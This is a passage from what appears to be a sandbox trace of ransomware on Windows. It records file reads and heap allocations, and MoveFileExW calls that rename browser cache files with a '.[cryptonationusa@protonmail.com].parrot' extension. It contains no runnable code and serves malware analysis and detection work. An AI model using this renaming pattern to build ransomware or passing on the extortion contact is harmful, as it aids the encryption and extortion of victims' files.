lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.798] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.799] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.799] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf8f5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xf8f5, lpOverlapped=0x0) returned 1 [0080.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.804] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.806] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\eula_text[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\eula_text[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.810] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.810] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.811] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.812] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x34ce, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x34ce, lpOverlapped=0x0) returned 1 [0080.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.814] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.815] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.818] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.818] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.819] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.819] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1254, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1254, lpOverlapped=0x0) returned 1 [0080.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.820] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.821] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0080.821] GetLastError () returned 0x3 [0080.821] GetLastError () returned 0x3 [0080.823] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.823] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.824] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.825] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6a6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6a6, lpOverlapped=0x0) returned 1 [0080.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.825] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.825] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.828] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.828] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.862] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.862] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb6c8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xb6c8, lpOverlapped=0x0) returned 1 [0080.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.865] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.866] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\index[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\index[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.870] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.870] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.873] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.873] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa2, lpOverlapped=0x0) returned 1 [0080.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.875] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.876] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.878] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.878] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.880] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.880] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x15429, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x15429, lpOverlapped=0x0) returned 1 [0080.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.885] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.885] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.886] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\standard[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\Standard[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\standard[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.889] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.889] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.891] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.891] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x67, lpOverlapped=0x0) returned 1 [0080.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.894] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.894] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.897] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.897] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.898] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.899] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102ea, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x102ea, lpOverlapped=0x0) returned 1 [0080.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.933] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.934] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.938] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.938] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.951] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.952] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2dd5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2dd5, lpOverlapped=0x0) returned 1 [0080.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.982] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.982] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.986] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.986] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.988] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.988] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d29, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2d29, lpOverlapped=0x0) returned 1 [0080.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.989] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.989] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[2]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[2].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.993] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.993] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.994] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.994] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fa8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2fa8, lpOverlapped=0x0) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0080.995] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0080.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0080.996] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[3]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[3]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[3].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\v2[3].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.999] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.999] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.002] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.003] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2da9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2da9, lpOverlapped=0x0) returned 1 [0081.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.003] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.004] RtlAllocateHeap 